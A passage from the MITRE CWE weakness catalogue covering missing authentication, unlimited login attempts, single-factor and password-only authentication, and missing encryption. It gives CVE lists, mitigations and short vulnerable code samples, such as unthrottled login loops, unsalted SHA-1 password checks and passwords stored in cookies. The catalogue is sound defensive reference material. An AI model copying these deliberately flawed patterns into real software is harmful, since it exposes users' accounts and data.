Multiple vendors did not use any authentication for critical functionality in their OT products.

### Example 3:

In 2021, a web site operated by PeopleGIS stored data of US municipalities in Amazon Web Service (AWS) Simple Storage Service (S3) buckets.

*Example Language: Other*

*(Bad)*

A security researcher found 86 S3 buckets that could be accessed without authentication (CWE-306) and stored data unencrypted (CWE-312). These buckets exposed over 1000 GB of data and 1.6 million files including physical addresses, phone numbers, tax documents, pictures of driver's license IDs, etc. [REF-1296] [REF-1295]

While it was not publicly disclosed how the data was protected after discovery, multiple options could have been considered.

*Example Language: Other*

*(Good)*

The sensitive information could have been protected by ensuring that the buckets did not have public read access, e.g., by enabling the s3-account-level-public-access-blocks-periodic rule to Block Public Access. In addition, the data could have been encrypted at rest using the appropriate S3 settings, e.g., by enabling server-side encryption using the s3-bucket-server-side-encryption-enabled setting. Other settings are available to further prevent bucket data from being leaked. [REF-1297]

## Observed Examples

Reference	Description
<b>CVE-2022-29951</b>	TCP-based protocol in Programmable Logic Controller (PLC) has no authentication. <a href="https://www.cve.org/CVERecord?id=CVE-2022-29951">https://www.cve.org/CVERecord?id=CVE-2022-29951</a>
<b>CVE-2022-29952</b>	Condition Monitor firmware uses a protocol that does not require authentication. <a href="https://www.cve.org/CVERecord?id=CVE-2022-29952">https://www.cve.org/CVERecord?id=CVE-2022-29952</a>
<b>CVE-2022-30276</b>	SCADA-based protocol for bridging WAN and LAN traffic has no authentication. <a href="https://www.cve.org/CVERecord?id=CVE-2022-30276">https://www.cve.org/CVERecord?id=CVE-2022-30276</a>
<b>CVE-2022-30313</b>	Safety Instrumented System uses proprietary TCP protocols with no authentication. <a href="https://www.cve.org/CVERecord?id=CVE-2022-30313">https://www.cve.org/CVERecord?id=CVE-2022-30313</a>
<b>CVE-2022-30317</b>	Distributed Control System (DCS) uses a protocol that has no authentication. <a href="https://www.cve.org/CVERecord?id=CVE-2022-30317">https://www.cve.org/CVERecord?id=CVE-2022-30317</a>
<b>CVE-2021-21972</b>	Chain: Cloud computing virtualization platform does not require authentication for upload of a tar format file (CWE-306), then uses .. path traversal sequences (CWE-23) in the file to access unexpected files, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-21972">https://www.cve.org/CVERecord?id=CVE-2021-21972</a>
<b>CVE-2021-37415</b>	IT management product does not perform authentication for some REST API requests, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-37415">https://www.cve.org/CVERecord?id=CVE-2021-37415</a>
<b>CVE-2020-13927</b>	Default setting in workflow management product allows all API requests without authentication, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-13927">https://www.cve.org/CVERecord?id=CVE-2020-13927</a>
<b>CVE-2002-1810</b>	MFV. Access TFTP server without authentication and obtain configuration file with sensitive plaintext information. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1810">https://www.cve.org/CVERecord?id=CVE-2002-1810</a>

Reference	Description
<b>CVE-2008-6827</b>	Agent software running at privileges does not authenticate incoming requests over an unprotected channel, allowing a Shatter" attack. <a href="https://www.cve.org/CVERecord?id=CVE-2008-6827">https://www.cve.org/CVERecord?id=CVE-2008-6827</a>
<b>CVE-2004-0213</b>	Product enforces restrictions through a GUI but not through privileged APIs. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0213">https://www.cve.org/CVERecord?id=CVE-2004-0213</a>
<b>CVE-2020-15483</b>	monitor device allows access to physical UART debug port without authentication <a href="https://www.cve.org/CVERecord?id=CVE-2020-15483">https://www.cve.org/CVERecord?id=CVE-2020-15483</a>
<b>CVE-2019-9201</b>	Programmable Logic Controller (PLC) does not have an authentication feature on its communication protocols. <a href="https://www.cve.org/CVERecord?id=CVE-2019-9201">https://www.cve.org/CVERecord?id=CVE-2019-9201</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	803	2010 Top 25 - Porous Defenses	800	2148
MemberOf	C	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	809	2150
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	2165
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	952	SFP Secondary Cluster: Missing Authentication	888	2189
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	C	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			No Authentication for Critical Function
Software Fault Patterns	SFP31		Missing authentication

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
12	Choosing Message Identifier
36	Using Unpublished Interfaces or Functionality
62	Cross Site Request Forgery
166	Force the System to Reset Values
216	Communication Channel Manipulation

### References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-257]Frank Kim. "Top 25 Series - Rank 19 - Missing Authentication for Critical Function". 2010 February 3. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/02/23/top-25-series-rank-19-missing-authentication-for-critical-function/> >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

[REF-1295]WizCase. "Over 80 US Municipalities' Sensitive Information, Including Resident's Personal Data, Left Vulnerable in Massive Data Breach". 2021 July 0. < <https://www.wizcase.com/blog/us-municipality-breach-report/> >.

[REF-1296]Jonathan Greig. "1,000 GB of local government data exposed by Massachusetts software company". 2021 July 2. < <https://www.zdnet.com/article/1000-gb-of-local-government-data-exposed-by-massachusetts-software-company/> >.

[REF-1297]Amazon. "AWS Foundational Security Best Practices controls". 2022. < <https://docs.aws.amazon.com/securityhub/latest/userguide/securityhub-standards-fsbp-controls.html> >.2022-10-11.

[REF-1298]Microsoft. "Authentication and authorization in Azure App Service and Azure Functions". 2021 November 3. < <https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization> >.2022-10-11.

[REF-1302]Google Cloud. "Authentication and authorization use cases". 2022 October 1. < <https://cloud.google.com/docs/authentication/use-cases> >.2022-10-11.

## CWE-307: Improper Restriction of Excessive Authentication Attempts

**Weakness ID** : 307

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame, making it more susceptible to brute force attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		799	Improper Control of Interaction Frequency	1582
ChildOf		1390	Weak Authentication	2087


*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		287	Improper Authentication	657

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1211	Authentication Errors	2268

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>An attacker could perform an arbitrary number of authentication attempts using different passwords, and eventually gain access to the targeted account.</i>	

### Detection Methods

#### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

*Effectiveness = High*

#### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer Cost effective for partial coverage: Forced Path Execution

*Effectiveness = High*

#### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

#### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

#### Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

*Effectiveness = SOAR Partial*

#### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

### Potential Mitigations

**Phase: Architecture and Design**



Common protection mechanisms include: Disconnecting the user after a small number of failed attempts  
Implementing a timeout  
Locking out a targeted account  
Requiring a computational task on the user's part.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]

### Demonstrative Examples

#### Example 1:

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts [REF-236]. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. After gaining access as the member of the support staff, the attacker used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

#### Example 2:

The following code, extracted from a servlet's doPost() method, performs an authentication lookup every time the servlet is invoked.

*Example Language: Java*

*(Bad)*

```
String username = request.getParameter("username");
String password = request.getParameter("password");
int authResult = authenticateUser(username, password);
```

However, the software makes no attempt to restrict excessive authentication attempts.

#### Example 3:

This code attempts to limit the number of login attempts by causing the process to sleep before completing the authentication.

*Example Language: PHP*

*(Bad)*

```
$username = $_POST['username'];
$password = $_POST['password'];
sleep(2000);
$isAuthenticated = authenticateUser($username, $password);
```

However, there is no limit on parallel connections, so this does not increase the amount of time an attacker needs to complete an attack.

#### Example 4:

In the following C/C++ example the validateUser method opens a socket connection, reads a username and password from the socket and attempts to authenticate the username and password.

*Example Language: C*

*(Bad)*

```
int validateUser(char *host, int port)
{
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
}
```



```

}
int isValidUser = 0;
char username[USERNAME_SIZE];
char password[PASSWORD_SIZE];
while (isValidUser == 0) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
}
return(SUCCESS);
}

```

The validateUser method will continuously check for a valid username and password without any restriction on the number of authentication attempts made. The method should limit the number of authentication attempts made to prevent brute force attacks as in the following example code.

Example Language: C

(Good)

```

int validateUser(char *host, int port)
{
    ...
    int count = 0;
    while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
        if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
            if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
                isValidUser = AuthenticateUser(username, password);
            }
        }
        count++;
    }
    if (isValidUser) {
        return(SUCCESS);
    }
    else {
        return(FAIL);
    }
}

```

### Example 5:

Consider this example from a real-world attack against the iPhone [REF-1218]. An attacker can use brute force methods; each time there is a failed guess, the attacker quickly cuts the power before the failed entry is recorded, effectively bypassing the intended limit on the number of failed authentication attempts. Note that this attack requires removal of the cell phone battery and connecting directly to the phone's power source, and the brute force attack is still time-consuming.

### Observed Examples

Reference	Description
<b>CVE-2019-0039</b>	the REST API for a network OS has a high limit for number of connections, allowing brute force password guessing <a href="https://www.cve.org/CVERecord?id=CVE-2019-0039">https://www.cve.org/CVERecord?id=CVE-2019-0039</a>
<b>CVE-1999-1152</b>	Product does not disconnect or timeout after multiple failed logins. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1152">https://www.cve.org/CVERecord?id=CVE-1999-1152</a>
<b>CVE-2001-1291</b>	Product does not disconnect or timeout after multiple failed logins. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1291">https://www.cve.org/CVERecord?id=CVE-2001-1291</a>
<b>CVE-2001-0395</b>	Product does not disconnect or timeout after multiple failed logins. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0395">https://www.cve.org/CVERecord?id=CVE-2001-0395</a>
<b>CVE-2001-1339</b>	Product does not disconnect or timeout after multiple failed logins. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1339">https://www.cve.org/CVERecord?id=CVE-2001-1339</a>
<b>CVE-2002-0628</b>	Product does not disconnect or timeout after multiple failed logins.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2002-0628">https://www.cve.org/CVERecord?id=CVE-2002-0628</a>
<b>CVE-1999-1324</b>	User accounts not disabled when they exceed a threshold; possibly a resultant problem. <a href="https://www.cve.org/CVERecord?id=CVE-1999-1324">https://www.cve.org/CVERecord?id=CVE-1999-1324</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	<b>C</b>	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	<b>C</b>	808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf	<b>C</b>	812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	809	2150
MemberOf	<b>C</b>	866	2011 Top 25 - Porous Defenses	900	2165
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	955	SFP Secondary Cluster: Unrestricted Authentication	888	2190
MemberOf	<b>C</b>	1353	OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures	1344	2287

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER	AUTHENT.MULTFAIL		Multiple Failed Authentication Attempts not Prevented
Software Fault Patterns	SFP34		Unrestricted authentication

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
16	Dictionary-based Password Attack
49	Password Brute Forcing
560	Use of Known Domain Credentials
565	Password Spraying
600	Credential Stuffing
652	Use of Known Kerberos Credentials
653	Use of Known Operating System Credentials

### References

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-236]Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009 January 9. < <http://www.wired.com/threatlevel/2009/01/professed-twit/> >.

[REF-1218]Graham Cluley. "This Black Box Can Brute Force Crack iPhone PIN Passcodes". The Mac Security Blog. 2015 March 6. < <https://www.intego.com/mac-security-blog/iphone-pin-passcode/> >.

## CWE-308: Use of Single-factor Authentication

**Weakness ID** : 308  
**Structure** : Simple  
**Abstraction** : Base

## Description

The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.

## Extended Description

While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	654	Reliance on a Single Factor in a Security Decision	1355
ChildOf	C	1390	Weak Authentication	2087
PeerOf	B	309	Use of Password System for Primary Authentication	716
PeerOf	B	309	Use of Password System for Primary Authentication	716

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2268

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	
	<i>If the secret in a single-factor authentication scheme gets compromised, full authentication is possible.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Use multiple independent authentication schemes, which ensures that -- if one of the methods is compromised -- the system itself is still likely safe from compromise.

## Demonstrative Examples

### Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

Example Language: C

(Bad)

```

unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}

```

Example Language: Java

(Bad)

```

String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}

```

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	2187
MemberOf	C	1028	OWASP Top Ten 2017 Category A2 - Broken Authentication	1026	2229

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using single-factor authentication

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
16	Dictionary-based Password Attack
49	Password Brute Forcing
55	Rainbow Table Password Cracking
70	Try Common or Default Usernames and Passwords
509	Kerberoasting
555	Remote Services with Stolen Credentials
560	Use of Known Domain Credentials
561	Windows Admin Shares with Stolen Credentials
565	Password Spraying
600	Credential Stuffing
644	Use of Captured Hashes (Pass The Hash)
645	Use of Captured Tickets (Pass The Ticket)
652	Use of Known Kerberos Credentials
653	Use of Known Operating System Credentials

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-309: Use of Password System for Primary Authentication

**Weakness ID** : 309

**Structure** : Simple

**Abstraction** : Base

### Description

The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	654	Reliance on a Single Factor in a Security Decision	1355
ChildOf	C	1390	Weak Authentication	2087
PeerOf	B	308	Use of Single-factor Authentication	713
PeerOf	B	262	Not Using Password Aging	600
PeerOf	B	308	Use of Single-factor Authentication	713

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2268

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Background Details

Password systems are the simplest and most ubiquitous authentication mechanisms. However, they are subject to such well known attacks, and such frequent compromise that their use in the most simple implementation is not practical.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	
	<i>A password authentication mechanism error will almost always result in attackers being authorized as valid users.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

In order to protect password systems from compromise, the following should be noted:  
 Passwords should be stored safely to prevent insider attack and to ensure that -- if a system is compromised -- the passwords are not retrievable. Due to password reuse, this information

may be useful in the compromise of other systems these users work with. In order to protect these passwords, they should be stored encrypted, in a non-reversible state, such that the original text password cannot be extracted from the stored value. Password aging should be strictly enforced to ensure that passwords do not remain unchanged for long periods of time. The longer a password remains in use, the higher the probability that it has been compromised. For this reason, passwords should require refreshing periodically, and users should be informed of the risk of passwords which remain in use for too long. Password strength should be enforced intelligently. Rather than restrict passwords to specific content, or specific length, users should be encouraged to use upper and lower case letters, numbers, and symbols in their passwords. The system should also ensure that no passwords are derived from dictionary words.

**Phase: Architecture and Design**

Use a zero-knowledge password protocol, such as SRP.

**Phase: Architecture and Design**

Ensure that passwords are stored safely and are not reversible.

**Phase: Architecture and Design**

Implement password aging functionality that requires passwords be changed after a certain point.

**Phase: Architecture and Design**

Use a mechanism for determining the strength of a password and notify the user of weak password use.

**Phase: Architecture and Design**

Inform the user of why password protections are in place, how they work to protect data integrity, and why it is important to heed their warnings.

**Demonstrative Examples**

**Example 1:**

In both of these examples, a user is logged in if their given password matches a stored password:

*Example Language: C*

*(Bad)*

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

*Example Language: Java*

*(Bad)*

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code relies exclusively on a password mechanism (CWE-309) using only one factor of authentication (CWE-308). If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also uses SHA-1, which is a weak hash (CWE-328). It also does not use a salt (CWE-759).

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	2129
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	2187

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using password systems
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
16	Dictionary-based Password Attack
49	Password Brute Forcing
55	Rainbow Table Password Cracking
70	Try Common or Default Usernames and Passwords
509	Kerberoasting
555	Remote Services with Stolen Credentials
560	Use of Known Domain Credentials
561	Windows Admin Shares with Stolen Credentials
565	Password Spraying
600	Credential Stuffing
652	Use of Known Kerberos Credentials
653	Use of Known Operating System Credentials

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-311: Missing Encryption of Sensitive Data

**Weakness ID** : 311

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not encrypt sensitive or critical information before storage or transmission.

### Extended Description

The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*



Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422
ParentOf	B	312	Cleartext Storage of Sensitive Information	725
ParentOf	B	319	Cleartext Transmission of Sensitive Information	740
PeerOf	C	327	Use of a Broken or Risky Cryptographic Algorithm	758

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	B	312	Cleartext Storage of Sensitive Information	725
ParentOf	B	319	Cleartext Transmission of Sensitive Information	740

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	2221

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server.</i>	
Confidentiality Integrity	Modify Application Data  <i>Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.</i>	

### Detection Methods

#### Manual Analysis

The characterization of sensitive data often requires domain-specific understanding, so manual methods are useful. However, manual efforts might not achieve desired code coverage within limited time constraints. Black box methods may produce artifacts (e.g. stored data or unencrypted network transfer) that require manual evaluation.

*Effectiveness = High*

### **Automated Analysis**

Automated measurement of the entropy of an input/output source may indicate the use or lack of encryption, but human analysis is still required to distinguish intentionally-unencrypted data (e.g. metadata) from sensitive data.

### **Manual Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### **Dynamic Analysis with Manual Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Network Sniffer Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Automated Monitored Execution Man-in-the-middle attack tool

*Effectiveness = High*

### **Manual Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

*Effectiveness = High*

### **Automated Static Analysis - Source Code**

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Context-configured Source Code Weakness Analyzer

*Effectiveness = SOAR Partial*

### **Architecture or Design Review**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

*Effectiveness = High*

## **Potential Mitigations**

### **Phase: Requirements**

Clearly specify which data or resources are valuable enough that they should be protected by encryption. Require that any transmission or storage of this data/resource should use well-vetted encryption algorithms.

### **Phase: Architecture and Design**

Ensure that encryption is properly integrated into the system design, including but not necessarily limited to: Encryption that is needed to store or transmit private data of the users of the system Encryption that is needed to protect the system itself from unauthorized disclosure or tampering Identify the separate needs and contexts for encryption: One-way (i.e., only the user or recipient needs to have the key). This can be achieved using public key cryptography, or other techniques in which the encrypting party (i.e., the product) does not need to have access to a private key.

Two-way (i.e., the encryption can be automatically performed on behalf of a user, but the key must be available so that the plaintext can be automatically recoverable by that user). This requires storage of the private key in a format that is recoverable only by the user (or perhaps by the operating system) in a way that cannot be recovered by others. Using threat modeling or other techniques, assume that data can be compromised through a separate vulnerability or weakness, and determine where encryption will be most effective. Ensure that data that should be private is not being inadvertently exposed using weaknesses such as insecure permissions (CWE-732). [REF-7]

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis. For example, US government systems require FIPS 140-2 certification. Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak. Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

### Phase: Implementation

#### Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

#### Phase: Implementation

*Strategy = Attack Surface Reduction*

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

*Effectiveness = Defense in Depth*

*This makes it easier to spot places in the code where data is being used that is unencrypted.*

## Demonstrative Examples

### Example 1:

This code writes a user's login information to a cookie so the user does not have to login again later.

*Example Language: PHP*

*(Bad)*

```
function persistLogin($username, $password){
```

```
$data = array("username" => $username, "password"=> $password);
setcookie ("userdata", $data);
}
```

